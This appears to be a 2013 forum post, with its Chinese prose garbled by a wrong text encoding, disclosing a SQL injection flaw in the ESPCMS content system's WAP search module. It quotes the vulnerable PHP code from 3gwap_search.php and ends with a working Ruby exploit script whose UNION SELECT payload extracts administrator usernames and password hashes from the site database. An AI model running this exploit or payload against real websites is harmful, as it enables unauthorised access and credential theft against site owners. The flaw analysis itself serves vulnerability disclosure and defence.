admin ·¢±íÓÚ 2013-7-27 18:31:52

espcms wapÄ£¿éËÑË÷´¦SQL×¢Èë

0¡Á0 ©¶´¸ÅÊö0¡Á1 ©¶´Ï¸½Ú
0¡Á2 PoC



0¡Á0 ©¶´¸ÅÊö

Ò×˼ESPCMSÆóÒµÍøÕ¾¹ÜÀíϵͳ»ùÓÚLAMP¿ª·¢¹¹½¨µÄÆóÒµÍøÕ¾¹ÜÀíϵͳ£¬Ëü¾ßÓвÙ×÷¼òµ¥¡¢¹¦ÄÜÇ¿´ó¡¢Îȶ¨ÐԺá¢À©Õ¹ÐÔ¼°°²È«ÐÔÇ¿¡¢¶þ´Î¿ª·¢¼°ºóÆÚά»¤·½±ã£¬¿ÉÒÔ°ïÄúѸËÙ¡¢ÇáËɵع¹½¨ÆðÒ»¸öÇ¿´óרҵµÄÆóÒµÍøÕ¾¡£
ÆäÔÚ´¦Àí´«ÈëµÄ²ÎÊýʱ¿¼ÂDz»ÑϽ÷µ¼ÖÂSQL×¢Èë·¢Éú


0¡Á1 ©¶´Ï¸½Ú

±äÁ¿µÄ´«µÝ¹ý³ÌÊÇ$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query£¬Õû¸ö¹ý³ÌÎÞ¹ýÂ˵¼ÖÂÁË×¢ÈëµÄ·¢Éú¡£
ÕýÒòΪ±äÁ¿ÊÇ´Ó$_SERVER['QUERY_STRING']ÖÐȥȡµÄ£¬ËùÒÔÕýºÃ±Ü¿ªÁ˳ÌÐòµÄ¹ýÂË¡£
¶ø×¢ÈëµÄ±äÁ¿ÊÇÊý×éµÄÖµ£¬²¢·ÇÊý×éµÄkey£¬ËùÒÔҲû¹ý±»¹ýÂË£¬×ÛºÏÆðÀ´ÐγÉÁËÒ»¸ö±È½ÏÉÙ¼ûµÄSQL×¢Èë¡£

ÔÚ/interface/3gwap_search.phpÎļþµÄin_resultº¯ÊýÖÐ:



       function in_result() {
            ... ... ... ... ... ... ... ... ...
            $urlcode = $_SERVER[ 'QUERY_STRING '];
            parse_str(html_entity_decode($urlcode), $output);

            ... ... ... ... ... ... ... ... ...
            if (is_array($output['attr' ]) && count($output['attr']) > 0) {

                  $db_table = db_prefix . 'model_att';

                   foreach ($output['attr' ] as $key => $value) {
                         if ($value) {

                              $key = addslashes($key);
                              $key = $this-> fun->inputcodetrim($key);
                              $db_att_where = " WHERE isclass=1 AND attrname='$key'";
                              $countnum = $this->db_numrows($db_table, $db_att_where);
                               if ($countnum > 0) {
                                    $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;
                              }
                        }
                  }
            }
            if (!empty ($keyword) && empty($keyname)) {
                  $keyname = 'title';
                  $db_where.= " AND a.title like '%$keyword%'" ;
            } elseif (!empty ($keyword) && !empty($keyname)) {
                  $db_where.= " AND $keyname like '% $keyword%'";
            }
            $pagemax = 15;

            $pagesylte = 1;

             if ($countnum > 0) {

                  $numpage = ceil($countnum / $pagemax);
            } else {
                  $numpage = 1;
            }
            $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;
            $this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' );            $rs = $this->db->query($sql);
            ... ... ... ... ... ... ... ... ...
      }


0¡Á2 PoC



require "net/http"

def request(method, url)
    if method.eql?("get")
      uri = URI.parse(url)
      http = Net::HTTP.new(uri.host, uri.port)
      response = http.request(Net::HTTP::Get.new(uri.request_uri))
      return response
    end
end

doc =<<HERE
-------------------------------------------------------
Espcms Injection Exploit
Author:ztz
Blog:http://ztz.fuzzexp.org/
-------------------------------------------------------

HERE

usage =<<HERE
Usage:         ruby #{$0} host port path
example:   ruby #{$0} www.target.com 80 /
HERE

puts doc
if ARGV.length < 3
    puts usage
else
    $host = ARGV
    $port = ARGV
    $path = ARGV

    puts "[*]send request..."
    url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&
attr=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13
,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27
,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"
    response = request("get", url)
    result = response.body.scan(/\w+&\w{32}/)
    puts result
end

Ò³: [1]
²é¿´ÍêÕû°æ±¾: espcms wapÄ£¿éËÑË÷´¦SQL×¢Èë